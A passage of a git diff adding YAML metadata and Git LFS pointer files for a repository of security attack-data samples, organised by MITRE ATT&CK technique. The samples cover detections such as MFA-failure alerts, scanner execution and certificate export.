sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1590/snapattack/snapattack-5bfac3e9-d57a-43c4-bc6b-62304e17ae16.log b/datasets/attack_techniques/T1590/snapattack/snapattack-5bfac3e9-d57a-43c4-bc6b-62304e17ae16.log new file mode 100644 index 000000000..ad999060f --- /dev/null +++ b/datasets/attack_techniques/T1590/snapattack/snapattack-5bfac3e9-d57a-43c4-bc6b-62304e17ae16.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0516bdeaef61f4af32ebfec93f896f438ea4072a3486bb5dc6b2827c4b309980 +size 2626 diff --git a/datasets/attack_techniques/T1595/attacker_scan_tools/T1595_attacker_scan_tools.yml b/datasets/attack_techniques/T1595/attacker_scan_tools/T1595_attacker_scan_tools.yml new file mode 100644 index 000000000..9381de64c --- /dev/null +++ b/datasets/attack_techniques/T1595/attacker_scan_tools/T1595_attacker_scan_tools.yml @@ -0,0 +1,12 @@ +author: STRT +id: 7e924875-619c-43d3-93a1-9ccc2724a53c +date: '2026-07-10' +description: Curated attack data generated for detection Attacker Tools On Endpoint +environment: attack_range +directory: attacker_scan_tools +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1595/attacker_scan_tools/windows-sysmon-7e924875-619c-43d3-93a1-9ccc2724a53c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1595/attacker_scan_tools/windows-sysmon-7e924875-619c-43d3-93a1-9ccc2724a53c.log b/datasets/attack_techniques/T1595/attacker_scan_tools/windows-sysmon-7e924875-619c-43d3-93a1-9ccc2724a53c.log new file mode 100644 index 000000000..aef1f389d --- /dev/null +++ b/datasets/attack_techniques/T1595/attacker_scan_tools/windows-sysmon-7e924875-619c-43d3-93a1-9ccc2724a53c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:efed7b3854180ea87396adfa4475395df8006673a3e6fc7cad3d45779701c6fb +size 4127 diff --git a/datasets/attack_techniques/T1595/snapattack/T1595_snapattack.yml b/datasets/attack_techniques/T1595/snapattack/T1595_snapattack.yml new file mode 100644 index 000000000..a643e2d5b --- /dev/null +++ b/datasets/attack_techniques/T1595/snapattack/T1595_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: 649453a4-6d26-4090-bd5a-284253ff055a +date: '2026-07-11' +description: Curated attack data generated for detection Windows Netspy Network Scanner + Execution +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1595/snapattack/snapattack-649453a4-6d26-4090-bd5a-284253ff055a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1595/snapattack/snapattack-649453a4-6d26-4090-bd5a-284253ff055a.log b/datasets/attack_techniques/T1595/snapattack/snapattack-649453a4-6d26-4090-bd5a-284253ff055a.log new file mode 100644 index 000000000..47819fc2b --- /dev/null +++ b/datasets/attack_techniques/T1595/snapattack/snapattack-649453a4-6d26-4090-bd5a-284253ff055a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7da0d8bbe67613cf223b0eb88eaf1627a989f9466430958adc9f84665cc91b8f +size 1541 diff --git a/datasets/attack_techniques/T1601.001/esxi_download_errors/T1601.001_esxi_download_errors.yml b/datasets/attack_techniques/T1601.001/esxi_download_errors/T1601.001_esxi_download_errors.yml new file mode 100644 index 000000000..eb9aff144 --- /dev/null +++ b/datasets/attack_techniques/T1601.001/esxi_download_errors/T1601.001_esxi_download_errors.yml @@ -0,0 +1,12 @@ +author: STRT +id: 176b7c8b-666e-4100-9c28-90ffcd856e9c +date: '2026-07-13' +description: Curated attack data generated for detection ESXi Download Errors +environment: attack_range +directory: esxi_download_errors +mitre_technique: [] +datasets: +- name: esxi_download_errors + path: /datasets/attack_techniques/T1601.001/esxi_download_errors/esxi_download_errors-176b7c8b-666e-4100-9c28-90ffcd856e9c.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1601.001/esxi_download_errors/esxi_download_errors-176b7c8b-666e-4100-9c28-90ffcd856e9c.log b/datasets/attack_techniques/T1601.001/esxi_download_errors/esxi_download_errors-176b7c8b-666e-4100-9c28-90ffcd856e9c.log new file mode 100644 index 000000000..d9289bef9 --- /dev/null +++ b/datasets/attack_techniques/T1601.001/esxi_download_errors/esxi_download_errors-176b7c8b-666e-4100-9c28-90ffcd856e9c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2fbc8f767412d8810ff2116e2af13c5c0ea00ffdab360fd94467b06110de0cd8 +size 5333 diff --git a/datasets/attack_techniques/T1608/snapattack/T1608_snapattack.yml b/datasets/attack_techniques/T1608/snapattack/T1608_snapattack.yml new file mode 100644 index 000000000..fb54eb80b --- /dev/null +++ b/datasets/attack_techniques/T1608/snapattack/T1608_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: 947b351d-8b28-49f3-bcfc-c70a4aa6a1b0 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Cobalt Strike PowerShell + Loader +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1608/snapattack/snapattack-947b351d-8b28-49f3-bcfc-c70a4aa6a1b0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1608/snapattack/snapattack-947b351d-8b28-49f3-bcfc-c70a4aa6a1b0.log b/datasets/attack_techniques/T1608/snapattack/snapattack-947b351d-8b28-49f3-bcfc-c70a4aa6a1b0.log new file mode 100644 index 000000000..2926ea02e --- /dev/null +++ b/datasets/attack_techniques/T1608/snapattack/snapattack-947b351d-8b28-49f3-bcfc-c70a4aa6a1b0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0b5bf40133028a0a311df163c002f0924b630351168c58a45604b43d39df67a7 +size 2474 diff --git a/datasets/attack_techniques/T1611/cisco_isovalent_k8_escape/T1611_cisco_isovalent_k8_escape.yml b/datasets/attack_techniques/T1611/cisco_isovalent_k8_escape/T1611_cisco_isovalent_k8_escape.yml new file mode 100644 index 000000000..c232ee69e --- /dev/null +++ b/datasets/attack_techniques/T1611/cisco_isovalent_k8_escape/T1611_cisco_isovalent_k8_escape.yml @@ -0,0 +1,13 @@ +author: STRT +id: ceb8e463-864d-46ec-aa88-781a6b78bb46 +date: '2026-07-10' +description: Curated attack data generated for detection Cisco Isovalent - Potential + Escape to Host +environment: attack_range +directory: cisco_isovalent_k8_escape +mitre_technique: [] +datasets: +- name: cisco_isovalent + path: /datasets/attack_techniques/T1611/cisco_isovalent_k8_escape/cisco_isovalent-ceb8e463-864d-46ec-aa88-781a6b78bb46.log + sourcetype: cisco:isovalent:processExec + source: not_applicable diff --git a/datasets/attack_techniques/T1611/cisco_isovalent_k8_escape/cisco_isovalent-ceb8e463-864d-46ec-aa88-781a6b78bb46.log b/datasets/attack_techniques/T1611/cisco_isovalent_k8_escape/cisco_isovalent-ceb8e463-864d-46ec-aa88-781a6b78bb46.log new file mode 100644 index 000000000..908ea70c3 --- /dev/null +++ b/datasets/attack_techniques/T1611/cisco_isovalent_k8_escape/cisco_isovalent-ceb8e463-864d-46ec-aa88-781a6b78bb46.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4b848a867e918a6f2085858f31fa986a9af0e1916b0ed12d662f30fa4ce97c1c +size 38239 diff --git a/datasets/attack_techniques/T1620/mmc_script_modules/T1620_mmc_script_modules.yml b/datasets/attack_techniques/T1620/mmc_script_modules/T1620_mmc_script_modules.yml new file mode 100644 index 000000000..603fc3203 --- /dev/null +++ b/datasets/attack_techniques/T1620/mmc_script_modules/T1620_mmc_script_modules.yml @@ -0,0 +1,13 @@ +author: STRT +id: 71211adc-ea33-4398-995e-804f2e96b0b9 +date: '2026-07-11' +description: Curated attack data generated for detection Windows MMC Loaded Script + Engine DLL +environment: attack_range +directory: mmc_script_modules +mitre_technique: [] +datasets: +- name: loaded_module_mmc + path: /datasets/attack_techniques/T1620/mmc_script_modules/loaded_module_mmc-71211adc-ea33-4398-995e-804f2e96b0b9.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1620/mmc_script_modules/loaded_module_mmc-71211adc-ea33-4398-995e-804f2e96b0b9.log b/datasets/attack_techniques/T1620/mmc_script_modules/loaded_module_mmc-71211adc-ea33-4398-995e-804f2e96b0b9.log new file mode 100644 index 000000000..c1f1cda3c --- /dev/null +++ b/datasets/attack_techniques/T1620/mmc_script_modules/loaded_module_mmc-71211adc-ea33-4398-995e-804f2e96b0b9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e3dc7b2231a6eb78a7bfbdd236f4e6f4907f192aa737460f6925f7984a802de0 +size 3021 diff --git a/datasets/attack_techniques/T1621/aws_failed_mfa/T1621_aws_failed_mfa.yml b/datasets/attack_techniques/T1621/aws_failed_mfa/T1621_aws_failed_mfa.yml new file mode 100644 index 000000000..71e60c5be --- /dev/null +++ b/datasets/attack_techniques/T1621/aws_failed_mfa/T1621_aws_failed_mfa.yml @@ -0,0 +1,13 @@ +author: STRT +id: 72ac1deb-9f6e-454a-9fd0-b5eb450bdaf0 +date: '2026-07-10' +description: Curated attack data generated for detection AWS Console Login Failed + During MFA Challenge +environment: attack_range +directory: aws_failed_mfa +mitre_technique: [] +datasets: +- name: cloudtrail + path: /datasets/attack_techniques/T1621/aws_failed_mfa/cloudtrail-72ac1deb-9f6e-454a-9fd0-b5eb450bdaf0.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1621/aws_failed_mfa/cloudtrail-72ac1deb-9f6e-454a-9fd0-b5eb450bdaf0.log b/datasets/attack_techniques/T1621/aws_failed_mfa/cloudtrail-72ac1deb-9f6e-454a-9fd0-b5eb450bdaf0.log new file mode 100644 index 000000000..54ce75ac2 --- /dev/null +++ b/datasets/attack_techniques/T1621/aws_failed_mfa/cloudtrail-72ac1deb-9f6e-454a-9fd0-b5eb450bdaf0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ea9786ac9edaac61b9872eac6994c1457b10e267986b4a0404e9cda913968dae +size 16398 diff --git a/datasets/attack_techniques/T1621/aws_mfa_disabled/T1621_aws_mfa_disabled.yml b/datasets/attack_techniques/T1621/aws_mfa_disabled/T1621_aws_mfa_disabled.yml new file mode 100644 index 000000000..92bdc6bc4 --- /dev/null +++ b/datasets/attack_techniques/T1621/aws_mfa_disabled/T1621_aws_mfa_disabled.yml @@ -0,0 +1,17 @@ +author: STRT +id: 528ac45e-3da5-426d-a515-892a882c7ce8 +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS Multi-Factor Authentication + Disabled +environment: attack_range +directory: aws_mfa_disabled +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1621/aws_mfa_disabled/asl_ocsf_cloudtrail-528ac45e-3da5-426d-a515-892a882c7ce8.log + sourcetype: aws:asl + source: aws_asl +- name: cloudtrail + path: /datasets/attack_techniques/T1621/aws_mfa_disabled/cloudtrail-528ac45e-3da5-426d-a515-892a882c7ce8.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1621/aws_mfa_disabled/asl_ocsf_cloudtrail-528ac45e-3da5-426d-a515-892a882c7ce8.log b/datasets/attack_techniques/T1621/aws_mfa_disabled/asl_ocsf_cloudtrail-528ac45e-3da5-426d-a515-892a882c7ce8.log new file mode 100644 index 000000000..2f67a9a42 --- /dev/null +++ b/datasets/attack_techniques/T1621/aws_mfa_disabled/asl_ocsf_cloudtrail-528ac45e-3da5-426d-a515-892a882c7ce8.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6e7fa5d16944c96b3f08bb797a9ba2f43d3beed1269635aefa7ce96882e59a12 +size 4905 diff --git a/datasets/attack_techniques/T1621/aws_mfa_disabled/cloudtrail-528ac45e-3da5-426d-a515-892a882c7ce8.log b/datasets/attack_techniques/T1621/aws_mfa_disabled/cloudtrail-528ac45e-3da5-426d-a515-892a882c7ce8.log new file mode 100644 index 000000000..9cad9bc28 --- /dev/null +++ b/datasets/attack_techniques/T1621/aws_mfa_disabled/cloudtrail-528ac45e-3da5-426d-a515-892a882c7ce8.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e2c27d7f359285c133610b966062534315ca9dddd9aa383172ace47a5da3f34a +size 1905 diff --git a/datasets/attack_techniques/T1621/azure_ad_multiple_denied_mfa_requests/T1621_azure_ad_multiple_denied_mfa_requests.yml b/datasets/attack_techniques/T1621/azure_ad_multiple_denied_mfa_requests/T1621_azure_ad_multiple_denied_mfa_requests.yml new file mode 100644 index 000000000..7dc44b019 --- /dev/null +++ b/datasets/attack_techniques/T1621/azure_ad_multiple_denied_mfa_requests/T1621_azure_ad_multiple_denied_mfa_requests.yml @@ -0,0 +1,13 @@ +author: STRT +id: 1accfe99-f969-48a7-ae3b-05eb9d9cd03c +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Multiple Denied + MFA Requests For User +environment: attack_range +directory: azure_ad_multiple_denied_mfa_requests +mitre_technique: [] +datasets: +- name: azure_ad_multiple_denied_mfa_requests + path: /datasets/attack_techniques/T1621/azure_ad_multiple_denied_mfa_requests/azure_ad_multiple_denied_mfa_requests-1accfe99-f969-48a7-ae3b-05eb9d9cd03c.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1621/azure_ad_multiple_denied_mfa_requests/azure_ad_multiple_denied_mfa_requests-1accfe99-f969-48a7-ae3b-05eb9d9cd03c.log b/datasets/attack_techniques/T1621/azure_ad_multiple_denied_mfa_requests/azure_ad_multiple_denied_mfa_requests-1accfe99-f969-48a7-ae3b-05eb9d9cd03c.log new file mode 100644 index 000000000..b120a0e18 --- /dev/null +++ b/datasets/attack_techniques/T1621/azure_ad_multiple_denied_mfa_requests/azure_ad_multiple_denied_mfa_requests-1accfe99-f969-48a7-ae3b-05eb9d9cd03c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1e715ca8dba6894e0434fa877806b55054e7d537aa726cd21ef1c65c9bd34bc4 +size 46431 diff --git a/datasets/attack_techniques/T1621/azuread/T1621_azuread.yml b/datasets/attack_techniques/T1621/azuread/T1621_azuread.yml new file mode 100644 index 000000000..97fb8f5a6 --- /dev/null +++ b/datasets/attack_techniques/T1621/azuread/T1621_azuread.yml @@ -0,0 +1,13 @@ +author: STRT +id: 7173c206-0ab6-403c-9adf-04f56c1c346c +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Authentication Failed + During MFA Challenge +environment: attack_range +directory: azuread +mitre_technique: [] +datasets: +- name: azure-audit + path: /datasets/attack_techniques/T1621/azuread/azure-audit-7173c206-0ab6-403c-9adf-04f56c1c346c.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1621/azuread/azure-audit-7173c206-0ab6-403c-9adf-04f56c1c346c.log b/datasets/attack_techniques/T1621/azuread/azure-audit-7173c206-0ab6-403c-9adf-04f56c1c346c.log new file mode 100644 index 000000000..b745b4c54 --- /dev/null +++ b/datasets/attack_techniques/T1621/azuread/azure-audit-7173c206-0ab6-403c-9adf-04f56c1c346c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b48398c6c372ba551d569328915058cc6c66554d3b17ce0db297231cecc622fa +size 7302 diff --git a/datasets/attack_techniques/T1621/gcp_failed_mfa/T1621_gcp_failed_mfa.yml b/datasets/attack_techniques/T1621/gcp_failed_mfa/T1621_gcp_failed_mfa.yml new file mode 100644 index 000000000..7df3a5f41 --- /dev/null +++ b/datasets/attack_techniques/T1621/gcp_failed_mfa/T1621_gcp_failed_mfa.yml @@ -0,0 +1,13 @@ +author: STRT +id: d671f755-7f77-46f7-9942-888cda42be30 +date: '2026-07-10' +description: Curated attack data generated for detection GCP Authentication Failed + During MFA Challenge +environment: attack_range +directory: gcp_failed_mfa +mitre_technique: [] +datasets: +- name: gws_login + path: /datasets/attack_techniques/T1621/gcp_failed_mfa/gws_login-d671f755-7f77-46f7-9942-888cda42be30.log + sourcetype: gws:reports:login + source: gws:reports:login diff --git a/datasets/attack_techniques/T1621/gcp_failed_mfa/gws_login-d671f755-7f77-46f7-9942-888cda42be30.log b/datasets/attack_techniques/T1621/gcp_failed_mfa/gws_login-d671f755-7f77-46f7-9942-888cda42be30.log new file mode 100644 index 000000000..5be8aa345 --- /dev/null +++ b/datasets/attack_techniques/T1621/gcp_failed_mfa/gws_login-d671f755-7f77-46f7-9942-888cda42be30.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b5e9d7610c13ecb9f542ae66f53807e59a5eae84945c8c943b0f0f609aa1eba1 +size 676 diff --git a/datasets/attack_techniques/T1621/multiple_failed_mfa_gws/T1621_multiple_failed_mfa_gws.yml b/datasets/attack_techniques/T1621/multiple_failed_mfa_gws/T1621_multiple_failed_mfa_gws.yml new file mode 100644 index 000000000..443c91ff5 --- /dev/null +++ b/datasets/attack_techniques/T1621/multiple_failed_mfa_gws/T1621_multiple_failed_mfa_gws.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8a76dce8-96d3-4503-bf63-71d5ec816819 +date: '2026-07-10' +description: Curated attack data generated for detection GCP Multiple Failed MFA Requests + For User +environment: attack_range +directory: multiple_failed_mfa_gws +mitre_technique: [] +datasets: +- name: gws_login + path: /datasets/attack_techniques/T1621/multiple_failed_mfa_gws/gws_login-8a76dce8-96d3-4503-bf63-71d5ec816819.log + sourcetype: gws:reports:login + source: gws:reports:login diff --git a/datasets/attack_techniques/T1621/multiple_failed_mfa_gws/gws_login-8a76dce8-96d3-4503-bf63-71d5ec816819.log b/datasets/attack_techniques/T1621/multiple_failed_mfa_gws/gws_login-8a76dce8-96d3-4503-bf63-71d5ec816819.log new file mode 100644 index 000000000..6ca4af3f2 --- /dev/null +++ b/datasets/attack_techniques/T1621/multiple_failed_mfa_gws/gws_login-8a76dce8-96d3-4503-bf63-71d5ec816819.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5f7b117990eb6881cb0d2036af9a8754afe3c1cb79c9d09c1e89e5ca4d539f1e +size 5830 diff --git a/datasets/attack_techniques/T1621/multiple_failed_mfa_requests/T1621_multiple_failed_mfa_requests.yml b/datasets/attack_techniques/T1621/multiple_failed_mfa_requests/T1621_multiple_failed_mfa_requests.yml new file mode 100644 index 000000000..1e30f7f51 --- /dev/null +++ b/datasets/attack_techniques/T1621/multiple_failed_mfa_requests/T1621_multiple_failed_mfa_requests.yml @@ -0,0 +1,13 @@ +author: STRT +id: f25f6db9-337e-4d61-92f2-2ebef19df010 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Multiple Failed + MFA Requests For User +environment: attack_range +directory: multiple_failed_mfa_requests +mitre_technique: [] +datasets: +- name: azure-audit + path: /datasets/attack_techniques/T1621/multiple_failed_mfa_requests/azure-audit-f25f6db9-337e-4d61-92f2-2ebef19df010.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1621/multiple_failed_mfa_requests/azure-audit-f25f6db9-337e-4d61-92f2-2ebef19df010.log b/datasets/attack_techniques/T1621/multiple_failed_mfa_requests/azure-audit-f25f6db9-337e-4d61-92f2-2ebef19df010.log new file mode 100644 index 000000000..62c785b4e --- /dev/null +++ b/datasets/attack_techniques/T1621/multiple_failed_mfa_requests/azure-audit-f25f6db9-337e-4d61-92f2-2ebef19df010.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:cb175f792698644a1a62f7305ba722252679c7408e1c70fccc0ba888d1f2dd62 +size 70941 diff --git a/datasets/attack_techniques/T1621/o365_multiple_failed_mfa_requests/T1621_o365_multiple_failed_mfa_requests.yml b/datasets/attack_techniques/T1621/o365_multiple_failed_mfa_requests/T1621_o365_multiple_failed_mfa_requests.yml new file mode 100644 index 000000000..447353779 --- /dev/null +++ b/datasets/attack_techniques/T1621/o365_multiple_failed_mfa_requests/T1621_o365_multiple_failed_mfa_requests.yml @@ -0,0 +1,13 @@ +author: STRT +id: dafb0e01-a765-461f-8231-8da3d7e4b370 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Multiple Failed MFA + Requests For User +environment: attack_range +directory: o365_multiple_failed_mfa_requests +mitre_technique: [] +datasets: +- name: o365_multiple_failed_mfa_requests + path: /datasets/attack_techniques/T1621/o365_multiple_failed_mfa_requests/o365_multiple_failed_mfa_requests-dafb0e01-a765-461f-8231-8da3d7e4b370.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1621/o365_multiple_failed_mfa_requests/o365_multiple_failed_mfa_requests-dafb0e01-a765-461f-8231-8da3d7e4b370.log b/datasets/attack_techniques/T1621/o365_multiple_failed_mfa_requests/o365_multiple_failed_mfa_requests-dafb0e01-a765-461f-8231-8da3d7e4b370.log new file mode 100644 index 000000000..3f7ebe6dc --- /dev/null +++ b/datasets/attack_techniques/T1621/o365_multiple_failed_mfa_requests/o365_multiple_failed_mfa_requests-dafb0e01-a765-461f-8231-8da3d7e4b370.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:157ab3859d0af65925ab430af21cba14ebc211001a848cc3d829c2cbcd3c46f9 +size 706971 diff --git a/datasets/attack_techniques/T1621/okta_mfa_login_failed/T1621_okta_mfa_login_failed.yml b/datasets/attack_techniques/T1621/okta_mfa_login_failed/T1621_okta_mfa_login_failed.yml new file mode 100644 index 000000000..0e80e286c --- /dev/null +++ b/datasets/attack_techniques/T1621/okta_mfa_login_failed/T1621_okta_mfa_login_failed.yml @@ -0,0 +1,13 @@ +author: STRT +id: 32bcd345-75cb-4a55-8c95-e9e24358d4aa +date: '2026-07-13' +description: Curated attack data generated for detection Okta Authentication Failed + During MFA Challenge +environment: attack_range +directory: okta_mfa_login_failed +mitre_technique: [] +datasets: +- name: okta_mfa_login_failed + path: /datasets/attack_techniques/T1621/okta_mfa_login_failed/okta_mfa_login_failed-32bcd345-75cb-4a55-8c95-e9e24358d4aa.log + sourcetype: OktaIM2:log + source: okta_log diff --git a/datasets/attack_techniques/T1621/okta_mfa_login_failed/okta_mfa_login_failed-32bcd345-75cb-4a55-8c95-e9e24358d4aa.log b/datasets/attack_techniques/T1621/okta_mfa_login_failed/okta_mfa_login_failed-32bcd345-75cb-4a55-8c95-e9e24358d4aa.log new file mode 100644 index 000000000..78ad21781 --- /dev/null +++ b/datasets/attack_techniques/T1621/okta_mfa_login_failed/okta_mfa_login_failed-32bcd345-75cb-4a55-8c95-e9e24358d4aa.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5f24306adea518b5b924cdf74e721ce468bbec90b612988dfa7a4d770da91964 +size 2462 diff --git a/datasets/attack_techniques/T1621/okta_multiple_failed_mfa_requests/T1621_okta_multiple_failed_mfa_requests.yml b/datasets/attack_techniques/T1621/okta_multiple_failed_mfa_requests/T1621_okta_multiple_failed_mfa_requests.yml new file mode 100644 index 000000000..e9acb8d7d --- /dev/null +++ b/datasets/attack_techniques/T1621/okta_multiple_failed_mfa_requests/T1621_okta_multiple_failed_mfa_requests.yml @@ -0,0 +1,13 @@ +author: STRT +id: e3d7eede-6b96-4925-886e-7b995369f8e4 +date: '2026-07-13' +description: Curated attack data generated for detection Okta Multiple Failed MFA + Requests For User +environment: attack_range +directory: okta_multiple_failed_mfa_requests +mitre_technique: [] +datasets: +- name: okta_multiple_failed_mfa_requests + path: /datasets/attack_techniques/T1621/okta_multiple_failed_mfa_requests/okta_multiple_failed_mfa_requests-e3d7eede-6b96-4925-886e-7b995369f8e4.log + sourcetype: OktaIM2:log + source: Okta diff --git a/datasets/attack_techniques/T1621/okta_multiple_failed_mfa_requests/okta_multiple_failed_mfa_requests-e3d7eede-6b96-4925-886e-7b995369f8e4.log b/datasets/attack_techniques/T1621/okta_multiple_failed_mfa_requests/okta_multiple_failed_mfa_requests-e3d7eede-6b96-4925-886e-7b995369f8e4.log new file mode 100644 index 000000000..2ce3032aa --- /dev/null +++ b/datasets/attack_techniques/T1621/okta_multiple_failed_mfa_requests/okta_multiple_failed_mfa_requests-e3d7eede-6b96-4925-886e-7b995369f8e4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c853efdfabe97b3fa66fef0855c1855b16ca26309dfaa76890b566243ef2266e +size 42640 diff --git a/datasets/attack_techniques/T1621/pingid/T1621_pingid.yml b/datasets/attack_techniques/T1621/pingid/T1621_pingid.yml new file mode 100644 index 000000000..f2a689709 --- /dev/null +++ b/datasets/attack_techniques/T1621/pingid/T1621_pingid.yml @@ -0,0 +1,13 @@ +author: STRT +id: acac7157-cb96-4d11-85b3-16bfb90bec9e +date: '2026-07-13' +description: Curated attack data generated for detection PingID Mismatch Auth Source + and Verification Response +environment: attack_range +directory: pingid +mitre_technique: [] +datasets: +- name: pingid + path: /datasets/attack_techniques/T1621/pingid/pingid-acac7157-cb96-4d11-85b3-16bfb90bec9e.log + sourcetype: _json + source: PINGID diff --git a/datasets/attack_techniques/T1621/pingid/pingid-acac7157-cb96-4d11-85b3-16bfb90bec9e.log b/datasets/attack_techniques/T1621/pingid/pingid-acac7157-cb96-4d11-85b3-16bfb90bec9e.log new file mode 100644 index 000000000..e9537d358 --- /dev/null +++ b/datasets/attack_techniques/T1621/pingid/pingid-acac7157-cb96-4d11-85b3-16bfb90bec9e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4b89b45f03a3515758868e190d04aaa8cdad3bed18067987db88cd55a5c8fa36 +size 649 diff --git a/datasets/attack_techniques/T1649/atomic_red_team/4104_export_certificate-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log b/datasets/attack_techniques/T1649/atomic_red_team/4104_export_certificate-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log new file mode 100644 index 000000000..ec2c96e4e --- /dev/null +++ b/datasets/attack_techniques/T1649/atomic_red_team/4104_export_certificate-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:40366017fa45a401ccd6c81d747c7ca087238f3c48be172763e874a9e9beb50d +size 10172 diff --git a/datasets/attack_techniques/T1649/atomic_red_team/4104_export_pfxcertificate-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log b/datasets/attack_techniques/T1649/atomic_red_team/4104_export_pfxcertificate-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log new file mode 100644 index 000000000..3b5bb83e4 --- /dev/null +++ b/datasets/attack_techniques/T1649/atomic_red_team/4104_export_pfxcertificate-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d270af03b80dbd8dc1b41208e7388201051ac273ac17be39f211bfb12e54f64a +size 5745 diff --git a/datasets/attack_techniques/T1649/atomic_red_team/4876_windows-security-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log b/datasets/attack_techniques/T1649/atomic_red_team/4876_windows-security-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log new file mode 100644 index 000000000..ecbb9d275 --- /dev/null +++ b/datasets/attack_techniques/T1649/atomic_red_team/4876_windows-security-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3ebf54e46c1eb511b1523b7ce04e5a0d27da93a525d34cf9f0e7da9b92429631 +size 1829 diff --git a/datasets/attack_techniques/T1649/atomic_red_team/T1649_atomic_red_team.yml b/datasets/attack_techniques/T1649/atomic_red_team/T1649_atomic_red_team.yml new file mode 100644 index 000000000..b9a3955ef --- /dev/null +++ b/datasets/attack_techniques/T1649/atomic_red_team/T1649_atomic_red_team.yml @@ -0,0 +1,44 @@ +author: STRT +id: 4cca73c1-045f-4ce3-a043-d6a7593bb58a +date: '2026-07-11' +description: Curated attack data generated for detection Windows Export Certificate +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: certificateservices-lifecycle + path: /datasets/attack_techniques/T1649/atomic_red_team/certificateservices-lifecycle-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-CertificateServicesClient-Lifecycle-System/Operational +- name: certwrite_windows-sysmon + path: /datasets/attack_techniques/T1649/atomic_red_team/certwrite_windows-sysmon-4cca73c1-045f-4ce3-a043-d6a7593bb58a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: 4104_export_certificate + path: 